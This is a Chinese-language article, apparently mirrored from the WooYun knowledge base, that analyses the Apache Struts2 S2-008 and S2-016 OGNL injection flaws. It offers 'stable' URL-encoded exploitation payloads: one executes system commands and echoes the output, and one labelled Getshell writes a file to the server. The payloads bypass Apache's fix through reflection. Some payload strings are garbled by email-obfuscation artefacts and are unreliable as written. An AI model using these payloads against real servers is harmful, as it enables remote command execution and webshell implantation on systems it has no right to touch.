struts2最近幾個漏洞分析&穩定利用payload

wyzsk發表於2020-08-19
作者: genxor · 2014/02/11 11:48

weibo:genxor

0x00 背景


看到網上關於struts2利用的文章非常多,但是對於漏洞觸發跟蹤分析的文件比較少,閒來無事跟蹤了一下struts最近吵得比較火的兩個漏洞,研究了一下能夠穩定利用的payload。

0x01 S2-008


Struts2框架存在一個devmode模式,方便開發人員除錯程式,但是預設devmode是不開啟的,如果想要使用,需要手動修改引數,可以將struts.properties中的devmode設定為true,或是在struts.xml中新增如下程式碼,

<constant name="struts.devMode" value="true" /> 

實際上devmode依賴於struts2底層的struts2-core.jar中的DebuggingInterceptor.java實現,然後漏洞也存在於此程式中。這裡我以debug=command這個邏輯下,測試漏洞,我的POC如下所示:

http://localhost:8080/S2-016/hello.action?debug=command&expression= %23context%5b%22xwork.MethodAccessor.denyMethodExecution%22%5d%3dfalse%2c%23f%3d%23_memberAccess.getClass%28%29.getDeclaredField%28%22allowStaticMethodAccess%22%29%2c%23f.setAccessible%28true%29%[email protected][email protected]%28%29.exec%28%22whoami%22%29.getInputStream%28%29%2c%23b%3dnew java.io.InputStreamReader%28%23a%29%2c%23c%3dnew java.io.BufferedReader%28%23b%29%2c%23d%3dnew char%5b50000%5d%2c%23c.read%28%23d%29%2c%23genxor%3d%23context.get%28%22com.opensymphony.xwork2.dispatcher.HttpServletResponse%22%29.getWriter%28%29%2c%23genxor.println%28%23d%29%2c%23genxor.flush%28%29%2c%23genxor.close%28%29 

首先,這裡是devmode的幾種模式,

enter image description here

繼續跟蹤DebuggingInterceptor.java的程式碼,發現問題出在下面這個邏輯當中

enter image description here

跟蹤引數如圖

enter image description here

可以看到這裡

String cmd = getParameter(EXPRESSION_PARAM); 
… 
writer.print(stack.findValue(cmd)); 

這裡cmd沒做任何處理,後面直接findValue(findValue能夠執行OGNL表示式,具體參考官方文件),導致OGNL表示式執行。

關於這個漏洞執行,其實沒什麼好說的,關鍵是這個payload呼叫java反射類(可以訪問一些私有成員變數)繞過了struts2限制執行java靜態方法的規則法的規則,使之前apache官方的修復又白費了。因為struts2在2.3.14.1版本之後便設定#_memberAccess[“allowStaticMethodAccess”]為不可修改,而要呼叫java靜態方法,必須要設定allowStaticMethodAccess為true才可以。這裡使用

#f = #_memberAccess.getClass().getDeclaredField('allowStaticMethodAccess')
#f.setAccessible(true) 
#f.set(#_memberAccess, true) 

這裡使用java的反射機制繞過了限制。另外,還有利用java.lang.ProcessBuilder類的start()方法來實現(ProcessBuilder類是用來建立系統程式的,每個例項管理一個程式屬性集合,start方法用來建立一個新的程式例項,並且可以從相同的例項中反覆多次的初始化、建立子程式。隨便構造一個java.lang.ProcessBuilder的例項,然後呼叫它的start()方法,便達到命令執行的目的),但這個算是另一種思路,並沒有從根本上修改#_memberAccess[“allowStaticMethodAccess”]的值。

0x02 S2-016


在struts2中,DefaultActionMapper類支援以"action:"、"redirect:"、"redirectAction:"作為導航或是重定向字首,但是這些字首後面同時可以跟OGNL表示式,由於struts2沒有對這些字首做過濾,導致利用OGNL表示式呼叫java靜態方法執行任意系統命令。

這裡以“redirect:”字首舉例,struts2會將“redirect:”字首後面的內容設定到redirect.location當中,這裡我們一步步跟蹤,首先是這個getMapping函式跟入

enter image description here

這裡一直到這個handleSpecialParameters(),繼續跟入

enter image description here

enter image description here

這裡真正傳入OGNL表示式是在這個parameterAction.execute()中,繼續跟入來到DefaultActionMapper.java的程式碼

enter image description here

這裡key.substring(REDIRECT_PREFIX.length())便是字首後面的內容也就是OGNL表示式,struts2會呼叫setLocation方法將他設定到redirect.location中。然後這裡呼叫mapping.setResult(redirect)將redirect物件設定到mapping物件中的result裡,如圖所示

enter image description here

然而上面的過程只是傳遞OGNL表示式,真正執行是在後面,這裡是在FilterDispatcher類中的dispatcher.serviceAction()方法,這裡的mapping物件中設定了傳入的OGNL

enter image description here

這裡跟入方法最終會在TextParseUtil這個類的呼叫stack.findValue()方法執行OGNL。

enter image description here

0x03 PAYLOAD


這裡我結合之前幾個漏洞湊出一個通用payload,目前測試還是很穩定的

命令執行

%23context%5b%22xwork.MethodAccessor.denyMethodExecution%22%5d%3dfalse%2c%23f%3d%23_memberAccess.getClass%28%29.getDeclaredField%28%22allowStaticMethodAccess%22%29%2c%23f.setAccessible%28true%29%[email protected][email protected]%28%29.exec%28%22whoami%22%29.getInputStream%28%29%2c%23b%3dnew java.io.InputStreamReader%28%23a%29%2c%23c%3dnew java.io.BufferedReader%28%23b%29%2c%23d%3dnew char%5b50000%5d%2c%23c.read%28%23d%29%2c%23genxor%3d%23context.get%28%22com.opensymphony.xwork2.dispatcher.HttpServletResponse%22%29.getWriter%28%29%2c%23genxor.println%28%23d%29%2c%23genxor.flush%28%29%2c%23genxor.close%28%29

Getshell

%23context%5b%22xwork.MethodAccessor.denyMethodExecution%22%5d%3dfalse%2c%23f%3d%23_memberAccess.getClass%28%29.getDeclaredField%28%22allowStaticMethodAccess%22%29%2c%23f.setAccessible%28true%29%2c%23f.set%28%23_memberAccess%2ctrue%29%2c%23a%3d%23context.get%28%22com.opensymphony.xwork2.dispatcher.HttpServletRequest%22%29%2c%23b%3dnew+java.io.FileOutputStream%28new%20java.lang.StringBuil[email protected]@[email protected][email protected][email protected][email protected][email protected]%28%29%2c%23genxor.close%28%29

同時在之前的struts2exp這個程式基礎上修改出一個exp,整合了近幾年出現的幾個高危漏洞,

enter image description here

程式先不公開放出,大家可以自己用語句測試自己的伺服器是否有該問題。

本文章來源於烏雲知識庫,此映象為了方便大家學習研究,文章版權歸烏雲知識庫!

相關文章